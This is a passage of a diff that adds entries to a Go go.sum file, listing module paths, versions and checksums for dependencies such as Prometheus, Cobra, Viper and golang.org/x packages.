v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4= +github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= +github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= +github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g= +github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw= +github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y= +github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 h1:Ovs26xHkKqVztRpIrF/92BcuyuQ/YW4NSIpoGtfXNho= +github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= +github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= +github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= +github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc= +github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= +github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= +github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= +github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= +github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= +github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= +github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= +github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= +github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= +github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= +github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= +github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= +github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= +github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= +github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= +github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= +github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= +github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= +github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= +github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= +github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= +github.com/pelletier/go-toml/v2 v2.0.6 h1:nrzqCb7j9cDFj2coyLNLaZuJTLjWjlaz6nvTvIwycIU= +github.com/pelletier/go-toml/v2 v2.0.6/go.mod h1:eumQOmlWiOPt5WriQQqoM5y18pDHwha2N+QD+EUNTek= +github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= +github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= +github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= +github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= +github.com/prometheus/client_golang v1.12.2 h1:51L9cDoUHVrXx4zWYlcLQIZ+d+VXHgqnYKkIuq4g/34= +github.com/prometheus/client_golang v1.12.2/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= +github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= +github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= +github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= +github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= +github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= +github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4= +github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls= +github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= +github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= +github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= +github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= +github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU= +github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= +github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= +github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= +github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= +github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= +github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= +github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= +github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= +github.com/spf13/afero v1.9.3 h1:41FoI0fD7OR7mGcKE/aOiLkGreyf8ifIOQmJANWogMk= +github.com/spf13/afero v1.9.3/go.mod h1:iUV7ddyEEZPO5gA3zD4fJt6iStLlL+Lg4m2cihcDf8Y= +github.com/spf13/cast v1.5.0 h1:rj3WzYc11XZaIZMPKmwP96zkFEnnAmV8s6XbB2aY32w= +github.com/spf13/cast v1.5.0/go.mod h1:SpXXQ5YoyJw6s3/6cMTQuxvgRl3PCJiyaX9p6b155UU= +github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA= +github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY= +github.com/spf13/jwalterweatherman v1.1.0 h1:ue6voC5bR5F8YxI5S67j9i582FU4Qvo2bmqnqMYADFk= +github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0EXowPYD95IqWIGo= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/viper v1.15.0 h1:js3yy885G8xwJa6iOISGFwd+qlUo5AvyXb7CiihdtiU= +github.com/spf13/viper v1.15.0/go.mod h1:fFcTBJxvhhzSJiZy8n+PeW6t8l+KeT/uTARa0jHOQLA= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= +github.com/subosito/gotenv v1.4.2 h1:X1TuBLAMDFbaTAChgCBLu3DU3UPyELpnF2jjJ2cz/S8= +github.com/subosito/gotenv v1.4.2/go.mod h1:ayKnFf/c6rvx/2iiLrJUk1e6plDbT3edrFNGqEflhK0= +github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= +go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= +go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= +go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= +go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= +go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= +golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20181025213731-e84da0312774/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= +golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.14.0 h1:wBqGXzWJW6m1XrIKlAH0Hs1JJ7+9KBwnIO8v66Q9cHc= +golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= +golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= +golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= +golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= +golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= +golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= +golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= +golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= +golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= +golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= +golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= +golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= +golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= +golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod 